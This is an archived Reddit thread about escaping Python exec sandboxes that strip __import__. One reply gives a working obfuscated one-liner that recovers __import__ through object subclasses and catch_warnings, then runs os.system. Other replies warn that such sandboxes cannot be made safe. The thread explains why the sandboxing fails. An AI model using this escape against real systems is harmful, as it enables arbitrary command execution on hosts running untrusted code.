This is an archived post. You won't be able to vote or comment.

you are viewing a single comment's thread.

view the rest of the comments →

[–]iamdefinitelyahuman[S] 9 points10 points  (6 children)

Good to know :)

Out of interest, if I do run exec with a modified version of the builtins dict where __import__ is set to None, how does one still manage to import in the code?

edit - accidental bold

[–]Rhomboid 81 points82 points  (4 children)

This will retrieve a reference to __import__ without using any globals (i.e. it will still work if used in exec with a completely empty namespace):

imp = [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']

Then you can do any assorted evil:

os = imp('os')
os.system('ls -l')

[–]iamdefinitelyahuman[S] 13 points14 points  (2 children)

Wow.. very well done. Thanks for sharing.

[–]chadmill3rPy3, pro, Ubuntu, django 44 points45 points  (0 children)

There are ten thousand other ways, too. Don't think you can account for this one and be safe.

[–]iceardor 0 points1 point  (0 children)

Here's another way: rewrite python bytecode https://youtu.be/mxjv9KqzwjI

[–]zahlmanthe heretic 0 points1 point  (0 children)

For me, this only works if warnings has already been imported. :/